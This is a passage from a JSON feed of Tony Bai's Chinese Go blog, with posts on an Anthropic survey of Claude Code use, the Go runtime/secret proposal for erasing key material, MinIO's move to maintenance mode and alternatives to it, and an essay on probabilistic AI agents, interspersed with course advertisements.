src=\"/images/wp-content/uploads/2025/zootopia-distributed-system-written-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go\"\u003ehttps://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e文章开始前，先给各位道个歉，今天的标题确实有点“党”。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e毕竟，非要说一个满是毛茸茸动物的动画片是用 Go 语言写的，这脑洞开得确实有点大。\u003c/p\u003e","title":"如果《疯狂动物城》是一个分布式系统，那它一定是用 Go 写的"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic\n大家好，我是Tony Bai。\n当我们还在争论 AI 编程是否是“玩具”时，Anthropic 已经把镜头对准了自己。\n2025 年 8 月，这家打造了 Claude 的顶尖 AI 公司，对自己内部的 132 名工程师和研究员进行了一次深度“体检”。他们分析了 20 万条 Claude Code（Anthropic 打造的、并同时也在内部使用的 AI 编程 CLI 工具）的使用记录，并进行了深度的定性访谈。\n这份刚刚发布的调研报告，揭示了一个既令人兴奋又令人胆寒的真相：在 AI 原生工作流的加持下，工程师的生产力暴增了 50%，但旧时代的“程序员”正在死去，一种全新的职业物种正在诞生。\n在我看来，这既是一份内部效率调查报告，更是一份关于软件工程师职业命运的“生死簿”。\n“生”的狂欢：效率暴增 50% 后的质变 数据是惊人的，甚至可以说是具有颠覆性的。\n与一年前相比，Anthropic 工程师使用 Claude 的频率翻了一倍，自我报告的生产力提升从 20% 飙升到了 50%。在极端的“超级用户”（Power Users，占总数 14%）中，这一数字甚至超过了 100%。\n但这种提升并非意味着大家“闲下来”了。报告发现了一个反直觉的现象：在 AI 的辅助下，工程师们花在每个任务上的时间变少了，但产出的总工作量却大幅增加了。\n这不仅仅是效率的量变，更是工作内容的质变：\n新功能的爆发：在 Claude Code 的帮助下，工程师用于“实现新功能”的时间占比从六个月前的 14% 激增至 37%(如下图)。AI 不再只是写样板代码的助手，而是直接参与核心构建的主力。 消灭“千纸鹤”：数据显示，8.6% 的 Claude Code 任务是在处理那些长期存在、令人烦恼但优先级不高的“小毛病”。这包括重构糟糕的代码结构、编写缺失的测试、或是构建一个小工具来优化流程。正如一位工程师所言：“通过降低‘激活能量’，AI 让我不再拖延，愿意去解决那些以前觉得‘不值得动手’的麻烦事。” “第 27%”的创新：员工估计，27% 的 AI 辅助工作是“如果没有 AI 就根本不会做”的。这包括构建交互式数据仪表盘、进行更广泛的探索性测试，或者像一位研究员那样——运行一个拥有“百万马力”的 Claude 实例来测试不同的想法。 AI 并没有让工程师“摸鱼”，而是赋予了他们**“三头六臂”**，让他们在同样的时间里，触达了以前无法企及的广度和深度。\n边界的消亡：人人都是全栈工程师 报告中最令人兴奋——也最让传统岗位感到“危机”——的发现之一，是 AI 开发工作流 正在打破工程师的技能边界。一种**“全能化” (Full-stackization)** 的趋势正在形成，专业分工的护城河正在被填平。\n后端写前端：一位后端工程师描述了他如何通过提示词（Prompting）构建了一个复杂的 UI：“它做得比我好多了。如果是以前，我绝对做不到，更不可能按时完成。设计师问我‘这是你做的？’我说‘不，是 Claude 做的，我只是负责提示。’” 安全做开发：安全团队利用 Claude Code 快速理解陌生的代码库，分析不同模块的安全隐患，其使用场景中有 48.9% 是为了“代码理解”。 非技术人员写代码：产品经理和研究员开始自己动手修复 Bug、编写数据分析脚本，填补了技术与业务之间的沟壑。 这种变化意味着，软件工程师将不再被特定的语言或框架（如“Go 专家”或“React 大师”）所定义，而是被解决问题的能力所定义。在 AI 原生工作流中，只要有想法，技术栈不再是护城河，而是可以随意调用的工具箱。\n信任的进化：从“验证”到“导航” 随着 Claude Code 及其背后模型的进化（从 Sonnet 到 Opus），工程师们对 AI 的使用方式经历了从“小心翼翼”到“深度协同”的转变。\nAgentic（自主智能体化）能力的飞跃：六个月前，Claude Code 平均只能连续执行 10 个操作；现在，它可以自主完成约 21.2 个连续的工具调用（如编辑文件、运行测试、修复错误），期间无需人类干预。 从“谷歌地图”到“自动驾驶”：一位工程师用“谷歌地图”来比喻这种信任的演变。起初，我们只在熟悉的路段用导航；后来，即使导航给出了一条陌生的路线，我们也愿意相信它是最优解。 信任但验证 (Trust but Verify)：但这并不意味着盲从。报告指出，工程师们发展出了一套成熟的AI 协作策略：对于低风险、易验证的任务（如生成测试数据），直接放手；对于高风险、核心逻辑的任务，则保持高度的“人机协同”。 “冷启动”问题成为了新的瓶颈。一位工程师坦言：“如果我有关于代码库的大量隐性知识，而 Claude 没有，我宁愿自己写，也不想花时间去写完美的 Prompt。” 这也暗示了在 AI 开发工作流中，上下文管理 (Context Management) 将成为一项核心技能。\n“死”的阴影：残酷的技能萎缩与监督悖论 然而，硬币的另一面是深深的焦虑。报告极其诚实地记录了工程师们面临的“残酷”现实——旧的生存法则正在失效。\n1. “监督悖论”\n这是报告中最深刻、最令人不安的洞见之一。高效使用 Claude 需要监督，而监督 Claude 需要高超的编码技能。“如果我不再亲自写代码，不再通过痛苦的调试来建立对系统的直觉，我的技能会萎缩吗？” 如果技能萎缩了，未来谁还有能力去评估 AI 写出的代码是好是坏？\n一位资深工程师坦言：“我现在主要用 AI 做我已经知道答案的事情。这种直觉是我通过‘硬核模式’积累的。如果我是现在的初级工程师，我不知道该如何建立这种直觉。”\n2. 社交的“原子化”\nClaude 成为了“第一咨询对象”。原本需要问同事的问题，现在 80-90% 都先问 AI。这虽然减少了对他人的打扰，但也切断了隐性的知识传递。初级工程师失去了向资深工程师提问的机会，团队的凝聚力面临挑战。一位 Tech Lead 感叹：“初级员工不再带着问题来找我了，这让我感到失落。”\n3. “把自己淘汰”的担忧\n“我觉得我每天上班都在致力于让自己失业。” 这种情绪在访谈中并不罕见。虽然短期内大家对生产力的提升感到兴奋，但对于长期——当 AI 真的能由端到端地完成所有工作时——人类工程师的位置在哪里？\n一位工程师的比喻令人深思：“也许我们正在从编写代码，转向编写英语作为一种编程语言。未来的核心技能，是擅长让 AI 干活。”\n小结：在“副驾驶”与“自动驾驶”之间 Anthropic 的这份报告，向我们展示了一个正在加速到来的未来：软件工程正在从“手工艺”转向“工业化管理”。\n旧时代的“码农”——那些仅仅通过记忆语法和 API 来堆砌代码的人——正在不可避免地走向消亡。\n而新时代的工程师正在重生。他们更像是一位指挥家，挥舞着 Claude Code 这样的指挥棒，构建高效的 AI 开发工作流，调动着成千上万的虚拟算力，去构建前所未有的宏大系统。\n“残酷”的真相在于：技术不会淘汰工程师，但“掌握 AI 开发工作流”的工程师将淘汰那些还在徒手搬砖的人。\n拒绝 AI 的人，注定无法成为这场变革的指挥家。\n要查阅这份报告的更多详情，请访问 Anthropic 的研究页面。\n你感受到这种变化了吗？\n看了Anthropic的报告，你是感到兴奋还是焦虑？在你的日常工作中，AI是你的“副驾驶”，还是已经开始接管方向盘了？你担心中断“硬核模式”训练会导致技能萎缩吗？\n欢迎在评论区分享你的真实感受和思考！\n** 想要掌控这套未来的“指挥棒”？**\nAnthropic 的工程师们已经向我们证明：效率提升 50% 只是起步。在这个“死”与“生”的转折点，你准备好进化了吗？\n你是否也想打破技能边界，从后端迈向全栈，甚至更多？\n你是否想知道如何构建自己的 Context，解决 AI 的“冷启动”问题，规避“监督悖论”？\n我精心打造的极客时间专栏《AI 原生开发工作流实战》，正是为你准备的“生存与进化手册”。\n别让未来把你抛下。扫描下方二维码，立刻开启你的 AI 原生开发之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/how-ai-is-transforming-work-at-anthropic-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic\"\u003ehttps://tonybai.com/2025/12/05/how-ai-is-transforming-work-at-anthropic\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e当我们还在争论 AI 编程是否是“玩具”时，Anthropic 已经把镜头对准了自己。\u003c/p\u003e\n\u003cp\u003e2025 年 8 月，这家打造了 Claude 的顶尖 AI 公司，对自己内部的 132 名工程师和研究员进行了一次深度“体检”。他们分析了 \u003cstrong\u003e20 万条 Claude Code（Anthropic 打造的、并同时也在内部使用的 AI 编程 CLI 工具）的使用记录\u003c/strong\u003e，并进行了深度的定性访谈。\u003c/p\u003e","title":"Anthropic 内部报告：程序员的“死”与“生”，效率暴增 50% 的残酷启示"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/05/proposal-runtime-secret\n大家好，我是Tony Bai。\n“如果你的服务器被攻破，攻击者能否拿到内存中残留的私钥，进而解密过去两年的所有通信记录？”\n这是一个让所有安全工程师夜不能寐的问题。为了防止这种情况，现代加密协议（如 TLS 1.3, WireGuard）都强调前向保密 (Forward Secrecy)：使用临时的、一次性的密钥，并在使用后立即销毁。\n然而，在 Go 语言中，“立即销毁”这个看似简单的动作，却是一个巨大的技术难题。由于垃圾回收 (GC)、堆栈复制、以及缺乏对内存的底层控制，Go 程序很难保证敏感数据被彻底擦除。\n针对这一痛点，Go 社区大神 Jason A. Donenfeld(WireGuard作者，ID: zx2c4) 发起了一项长达数年的提案——引入 runtime/secret 包。近日，该提案已进入实现阶段，有望在Go 1.26版本中落地，并彻底改变 Go 处理敏感数据的方式。\n核心痛点：为什么 memset(0) 在 Go 中不够用？ 在 C 语言中，我们可以调用 explicit_bzero 来擦除内存。但在 Go 中，情况要复杂得多：\n隐式拷贝：Go 的切片操作、函数传参、甚至简单的赋值，都可能在堆或栈上留下数据的副本。你擦除了一份，却可能漏掉了其他三份。 GC 的不确定性：垃圾回收器何时运行？被回收的内存是否会被立即归零？这些都是未知的。 堆栈扩容：当 goroutine 栈空间不足时，Go 运行时会分配一个更大的新栈，并将旧栈的数据拷贝过去。旧栈中的敏感数据就此残留，且不再被追踪。 编译器优化：简单的“写入零值”操作可能会被编译器视为“死代码”而优化掉。 正如 WireGuard 的 Go 实现中遇到的尴尬局面：为了擦除一个 AEAD 对象中的密钥，开发者不得不使用反射 (Reflection) 这种“旁门左道”来重置其内部字段，既不优雅也不可靠。\n提案及演进：从 SetZeroOnGC 到 secret.Do 这项提案的讨论过程，简直是一部 Go 运行时机制的“解剖学教程”。\n早期尝试：SetZeroOnGC 最初的设想是让用户标记某个对象，告诉 GC 在回收它时必须将其内存归零。\n但这无法解决栈上数据的残留问题，也无法处理那些在函数调用过程中产生的临时副本。\n中期探索：自定义分配器与 SetFinalizer 有人提议使用 memguard 等库，通过 mmap 分配不受 GC 管理的内存。\n但这需要重写所有加密库的 API，使其接受自定义分配器，工程量巨大且不兼容现有生态。\n最终方案：runtime/secret 包 经过反复权衡，Go 团队和社区最终汇聚到了一个基于动态作用域的解决方案上。提案的核心 API 极其简洁：\npackage secret // Do 执行函数 f。 // 当 secret.Do 返回时： // - 清除函数 f 执行期间创建的所有栈帧（stack frames）。 // - 清除所有可能包含secret的寄存器。 // - 在secret模式下栈增长时，清除旧的栈。 // - secret模式下，在 f 执行期间分配的所有堆对象，会被标记为“敏感”，并在 GC 回收时被安全擦除。 // - 如果函数出现panic，则将该panic提升为来自 secret.Do 的异常。这会从回溯中移除有关secret函数的任何信息。 func Do(f func()) 这个设计不仅解决了堆内存的问题，更关键的是，它提供了一个**“安全沙箱”**。在这个沙箱内，你可以放心地进行加密计算，Go 运行时会负责清理你在栈上留下的所有痕迹。\n使用场景：WireGuard 与 TLS 想象一下 WireGuard 的握手过程：\nfunc handleHandshake() { secret.Do(func() { // 1. 生成临时私钥 (在栈上或堆上) ephemeralPrivateKey := generateKey() // 2. 计算共享密钥 (产生大量中间计算结果) sharedKey := computeSharedKey(ephemeralPrivateKey, peerPublicKey) // 3. 使用共享密钥进行加密操作 // ... // 函数返回时： // - ephemeralPrivateKey 所在的栈帧被立即擦除 // - sharedKey 等堆对象被标记，GC 回收时自动擦除 }) } 开发者不需要手动追踪每一个变量，也不需要担心 copy 操作泄露数据。只要在 secret.Do 的闭包内，一切都是安全的。\n深水区的挑战：信号、GC 与汇编 虽然 API 设计看似完美，但实现起来却是困难重重。今年的最新讨论揭示了几个令人头秃的底层挑战：\n信号处理 (Signals)：如果程序在 secret.Do 执行期间收到系统信号，CPU 寄存器中的敏感数据会被操作系统保存到“信号栈”中。这相当于泄露了数据！\n垃圾回收器 (GC)：GC 在扫描内存时，可能会将敏感指针加载到自己的寄存器或栈中。如何确保 GC 线程本身不泄露数据？这是一个极其棘手的工程问题。\n汇编代码：Go 的加密库大量使用了汇编优化。如何确保这些汇编代码在使用完寄存器后正确地将其清零？\n当然，目前该提案的开发者 Daniel Morsing 已经逐个克服了上述挑战，比如针对信号处理的问题，他提出了一种巧妙的“影子栈”方案，试图在信号处理返回前拦截并擦除这些数据。Daniel Morsing针对该提案的cl 704615 近期已经被merge，有望在Go 1.26落地。\n不过目前，该secret包仅在linux for arm64 and amd64上有实现。\n小结：安全是场持久战 runtime/secret 提案的推进，标志着 Go 语言在系统级安全领域迈出了重要一步。它不仅回应了高安全等级应用（如金融、国防）的需求，也体现了 Go 团队在面对复杂底层问题时的务实与坚持。\n虽然已经被merge，但历史经验告诉我们，距离该功能成熟可能还有一段路要走，后续仍在会有一些问题和实现细节需要解决，但它所传达的信号是明确的：Go 正在成为编写安全基础设施的首选语言之一。\n对于我们普通开发者而言，虽然我们未必会在业务代码中直接 import 这个包(runtime/secret)，但关注这个提案的进展，不仅能让我们见证 Go 语言如何填补安全拼图中至关重要的一角，更能让我们在“围观”其解决信号处理、GC 交互等硬核挑战的过程中，完成一次对 Go 运行时底层机制的深度认知升级。当这一基础设施最终就位时，我们将能以更强的信心，站在更坚固的安全基石之上构建应用。\n资料链接：https://github.com/golang/go/issues/21865\n聊聊你眼中的 Go 安全基石\nruntime/secret 提案的推进，为 Go 在高安全等级场景的应用补上了一块关键的拼图。你在日常的 Go 开发中，是否也曾为如何安全地处理密钥、Token 等敏感数据而感到困扰？除了内存残留问题，你认为 Go 在安全方面还有哪些亟待完善的“深水区”？\n或者，你对 secret.Do 这种通过“安全沙箱”来解决问题的方式有何看法？它是否是你心中理想的解决方案？\n欢迎在评论区分享你的实战经验、安全痛点，或对 Go 语言安全生态的任何期待与建议！ 让我们一起探讨，共同构建一个更安全的 Go 世界。\n如果这篇文章让你对 Go 的底层安全有了新的认识，别忘了点个【赞】和【在看】，并分享给更多关注 Go 安全的同伴！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/05/proposal-runtime-secret/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-runtime-secret-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/05/proposal-runtime-secret\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/05/proposal-runtime-secret\"\u003ehttps://tonybai.com/2025/12/05/proposal-runtime-secret\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果你的服务器被攻破，攻击者能否拿到内存中残留的私钥，进而解密过去两年的所有通信记录？”\u003c/p\u003e\n\u003cp\u003e这是一个让所有安全工程师夜不能寐的问题。为了防止这种情况，现代加密协议（如 TLS 1.3, WireGuard）都强调\u003cstrong\u003e前向保密 (Forward Secrecy)\u003c/strong\u003e：使用临时的、一次性的密钥，并在使用后立即销毁。\u003c/p\u003e","title":"Go 安全新提案：runtime/secret 能否终结密钥残留的噩梦？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/04/minio-enter-maintenance-mode\n大家好，我是Tony Bai。\n“这个项目目前处于维护状态，不接受新的更改。”\n近日，GitHub 上拥有近 60k Star、Go 语言生态中最著名的开源对象存储项目——MinIO，悄然修改了其 README。这一行看似平淡的声明，标志着 MinIO 开源版实际上已经被宣判了“死刑”。\n曾经，MinIO 是自建 S3 兼容存储的首选，是开源界的宠儿。如今，它转身拥抱了企业级市场和 AI 浪潮，留下了一脸错愕的社区用户和无数依赖它的开源项目。这究竟是一场无奈的求生，还是一次蓄谋已久的“收割”？\n突如其来的“维护模式” MinIO 官方在没有任何预警的情况下，将其开源仓库置于“维护模式”。这意味着：\n功能冻结：不再接受任何新功能或改进。 社区关门：不再接受 Pull Request，现有的 Issue 和 PR 也不会被积极审查。 安全补丁随缘：关键的安全修复“可能”会根据具体情况进行评估，不再有保证。 官方建议很明确：“对于企业支持和积极维护的版本，请参阅MinIO AIStor。”，而AIStor则是MinIO的企业版对象存储产品。\n这一举动在 Hacker News 上引发了轩然大波。用户感到被背叛，一位评论者愤怒地写道：“太恶心了。构建一个产品，通过开源获得动力，等你做完了就完全抛弃它。我为曾经推广这个项目感到羞耻。”\n为何“背叛”？—— 商业化的必然与 AI 的诱惑 MinIO 的转向并非无迹可寻。从更换为更严格的 AGPL 协议，到此次事实上的闭源，其背后的逻辑清晰而冷酷：\n开源无法变现的困境 MinIO 作为一个高性能、单二进制文件的存储服务，太容易“被集成”了。云厂商、集成商可以轻松地将其打包进自己的产品中获利，而 MinIO 公司却难以从中分一杯羹。AGPL 协议虽然意在限制云厂商的“白嫖”，但也未能从根本上解决其商业化难题。\nAI 浪潮的巨大诱惑 MinIO 的新产品名为 AIStor。这不仅仅是一个改名，更是一次战略转型。在 AI 时代，数据存储是基础设施的核心。MinIO 试图通过重新包装，将自己定位为 AI 基础设施的关键组件，从而向更有付费能力的企业客户（尤其是 AI 公司）靠拢。\n正如一位 HN 用户指出的：“他们在上一轮融资中估值 10 亿美元，要想成功退出，必须有深口袋的买家（如 Nvidia, Dell 等）。现在的开源版本只会拖累他们的财报。”\n社区的反击与法律迷局 MinIO 的做法也引发了法律层面的争议。\n贡献者的权利：MinIO 曾要求贡献者签署 CLA（贡献者许可协议）。这意味着 MinIO 公司拥有代码的版权，他们确实有权改变许可证或停止开源。 AGPL 的约束：但对于那些没有签署 CLA 的早期贡献者，或者包含在代码库中的第三方 AGPL 代码，MinIO 是否有权单方面“私有化”？这是一个复杂的法律问题。 更有趣的是，MinIO 过去曾因 AGPL 许可问题积极“维权”，甚至公开指责其他公司违反协议。如今，它自己却试图摆脱开源的束缚，这种双重标准让社区感到讽刺。\n历史的镜像 —— Redis 与 Valkey 的启示 MinIO 的剧变，让人不由得想起了 2024 年初震动开源界的另一场“地震”——Redis 修改开源协议事件。\n当时，Redis Inc. 宣布不再遵循开源定义，转而采用限制性更强的 SSPL 协议。这一举动激怒了整个社区和云厂商，Linux 基金会迅速集结了 AWS、Google、Oracle 等巨头，基于 Redis 旧版本 fork 出了 Valkey。如今，Valkey 已经展现出取代 Redis 的蓬勃生命力。\nMinIO 与 Redis 的异同：\n相同点：两者都面临“云厂商困境”。AWS 直接拿 Redis 做 ElastiCache，拿 MinIO 做兼容 S3 的服务，却无需向原厂付费。原厂为了生存，不得不通过协议（AGPL/SSPL）或停止维护来“筑墙”。 不同点：Redis 选择了**“掀桌子”（改协议），引发了激烈的对抗和即时的 Fork（Valkey）；而 MinIO 选择了“冷处理”**（维护模式），这更像是一种温水煮青蛙式的告别。 MinIO 会迎来它的“Valkey 时刻”吗？\n目前来看，难。对象存储的复杂度和维护成本远高于内存缓存，且市场上已经存在成熟的替代品（如 SeaweedFS, Ceph, Garage）。MinIO 社区或许不会像 Redis 那样迅速集结出一个统一的 Fork，而是会走向分裂和迁徙。\n对于开发者而言，Redis 和 MinIO 的连续“暴雷”是一个明确的信号：在基础设施选型时，除了关注技术指标，更要评估其背后的治理模式。由单一商业公司绝对控制的“开源”项目，始终悬着一把达摩克利斯之剑。\n自救指南 —— 寻找 MinIO 的替代品 对于现有的 MinIO 用户来说，现在是时候寻找备胎了。社区推荐了几个值得关注的替代方案：\nSeaweedFS (Go) 特点：基于 Haystack 论文实现，擅长处理海量小文件，自带 File 和 S3 接口。 适用场景：需要高性能小文件存储的场景。 评价：功能丰富，甚至有点“过度”，但性能强悍。 Ceph (C++) 特点：存储界的瑞士军刀，功能极其强大，但也极其复杂。 适用场景：大规模、生产级、需要块存储和文件存储的场景。 评价：如果你有运维团队，Ceph 是永远不会错的选择。 Versity Gateway (Go) 特点：基于文件的 S3 网关，可以在开发测试环境作为 MinIO 的直接替代品，后端直接对接文件系统。 RustFS (Rust) 特点：野心勃勃的新晋选手，试图在性能和易用性上直接对标甚至超越 MinIO。 适用场景：极客尝鲜、非生产环境的测试与评估。 评价：社区评价两极分化。一方面，它展现了强大的潜力；另一方面，用户反馈其目前稳定性欠佳，且项目要求签署 CLA（贡献者许可协议），这让不少刚被 MinIO 伤过心的开发者担心它未来会重演“养肥再杀”的剧本。“潜力巨大，但需谨慎观望。” Garage (Rust) 特点：轻量级、自包含、专注于在异构硬件和地理分布的网络上运行。 适用场景：自托管、家庭实验室、中小规模集群。 评价：“非常稳固，简单可靠，没有风险投资背景。” 小结：开源的尽头是商业，还是背叛？ MinIO 的故事，是开源软件商业化困境的又一个注脚。它提醒我们：\n没有免费的午餐：由 VC 支持的开源项目，最终都要面临盈利的压力。当增长遇到瓶颈，社区往往是被牺牲的第一个对象。 选择开源项目需谨慎：除了代码质量，项目的治理结构、CLA 协议、背后的商业模式，都是选型时必须考虑的风险因素。 MinIO 虽已“离去”，但开源精神不死。也许下一个更好的 MinIO，正在某个 GitHub 的角落里悄然生长。\n资料链接：https://news.ycombinator.com/item?id=46136023\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/04/minio-enter-maintenance-mode/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/minio-enter-maintenance-mode-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/04/minio-enter-maintenance-mode\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/04/minio-enter-maintenance-mode\"\u003ehttps://tonybai.com/2025/12/04/minio-enter-maintenance-mode\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“这个项目目前处于维护状态，不接受新的更改。”\u003c/p\u003e\n\u003cp\u003e近日，GitHub 上拥有近 60k Star、Go 语言生态中最著名的开源对象存储项目——MinIO，\u003ca href=\"https://github.com/minio/minio/commit/27742d469462e1561c776f88ca7a1f26816d69e2\"\u003e悄然修改了其 README\u003c/a\u003e。这一行看似平淡的声明，标志着 MinIO 开源版实际上已经被宣判了“死刑”。\u003c/p\u003e","title":"MinIO 开源版突发“安乐死”：维护模式开启，社区愤怒，你的数据还安全吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/04/thoughts-before-all-in-agentic-ai\n大家好，我是Tony Bai。\n如果你在 IT 行业待得够久，最近可能会有一种强烈的“既视感”。\n现在的 AI 热潮，像极了当年的移动互联网元年。VC 们兴奋地喊着“所有行业都值得用 AI 重做一遍”。于是我们看到了 AI 版的 Office、AI 版的客服、AI 版的 IDE。表面上看，这确实是历史周期的又一次轮回：新平台出现，旧应用迁移。\n但作为在一线写代码的工程师或架构师，你可能隐约感觉到一种前所未有的**“失控感”**。\n以前我们将业务从 PC 迁移到手机，底层逻辑是没变的：输入 A，经过代码 B，必然得到输出 C。这是一个**确定性（Deterministic）**的世界，我们是构建规则的“上帝”。\n但当我们试图把业务迁移到 LLM（大语言模型）上时，地基塌了。同样的 Prompt，今天的结果可能和明天不一样；模型一换，一切全乱；模型会一本正经地胡说八道；原本严丝合缝的逻辑代码，变成了一场概率的游戏。\n别被表象骗了。这不仅仅是技术栈的升级，这是计算机科学底层“物理法则”的改变。\n我们正在从牛顿力学的“确定性时代”，跨入量子力学的“概率性时代”。在梭哈 Agentic AI（自主智能体）之前，如果看不清这两者的断裂，你的系统注定会崩塌。\n两个世界的对撞：计算器 vs. 实习生 为了讲清楚这个第一性原理的差异，我们不妨打个比方。\n经典应用：永远正确的“计算器” 过去几十年我们构建的软件（ERP、SaaS、OS），本质上都是一台极其精密的**“超级计算器”**。\n第一性原理： 布尔逻辑（Boolean Logic）。0 就是 0，1 就是 1。 交互模式： 结构化指令。你必须准确点击菜单、输入 SQL，稍微错一个字符，系统就报错（Crash）。 优势： 精准、可控、100% 可复现。 缺陷： 它没有任何“理解力”。它不知道你为什么要算这个数，它只是机械执行。 AI 原生应用：聪明但会撒谎的“实习生” 而以 LLM 为核心的 AI Agent，本质上是一个名校毕业的**“聪明实习生”**。\n第一性原理： 概率与高维向量（Probability \u0026amp; Vector Space）。它不是在“检索”答案，而是在“预测”下一个字出现的概率。 交互模式： 自然语言意图。你说“帮我搞定那个客户”，它去猜这意味着什么。 优势： 泛化能力强，能理解模糊意图，有创造力。 **缺陷：**不可控。 它会“幻觉”（不懂装懂），会跑偏。它的错误不是 Bug，而是概率模型的 Feature（特性）。 现在的痛苦源于什么？\n源于我们试图用管理“计算器”的方法（单元测试、严格断言、精确匹配）去管理“实习生”。这注定是徒劳的。\n幻觉不是 Bug，是创造力的代价 很多老板问：“能不能让 AI 像数据库一样准确，永远别出错？”\n从第一性原理看，不能。\n生成式 AI 的核心能力是“联想”和“生成”。如果你把它的温度（Temperature）降到绝对零度，强行让它变得完全确定，它就失去了智能，退化成了一个极其昂贵的搜索引擎。\n“确定性”和“创造力”是一对互斥的变量。\n银行账务系统需要 100% 的确定性，所以它绝对不能用 LLM 来做核心计算（你不能让 AI 预测你的余额）。 创意写作、咨询建议、模糊检索需要的是发散性，这里是 AI 的主场。 所以，AI 原生应用不可能替代所有经典应用。世界将分裂为两半：\n确定性堡垒： 交易、工控、底层架构。（经典代码统治） 概率性旷野： 内容生成、意图理解、决策辅助。（AI 模型统治） 那么，介于两者之间的广阔中间地带（大多数企业软件）该怎么办？\nAgentic AI：在混乱中重建秩序的架构 这正是 AI Agent（智能体） 诞生的意义。\nAgent 不是简单的 Chatbot，它是一种架构模式。它的核心使命是：用逻辑框架去约束概率模型，让“不确定”的大脑安全地操作“确定”的工具。\n我们可以把未来的软件架构想象成一个“倒三明治”：\n上层（用户意图）： 模糊、多变、自然语言。（用户说：“给张总发个报价单”） **中层（Agent 大脑）：**概率性核心。 负责拆解任务、规划路径、选择工具。（AI 思考：“张总是谁？报价单格式是什么？我要调用哪个 API？”） **底层（Tools/APIs）：**确定性基石。 数据库、CRM、计算器。（执行：SELECT * FROM users WHERE name=’Zhang’，SEND_EMAIL(…)） 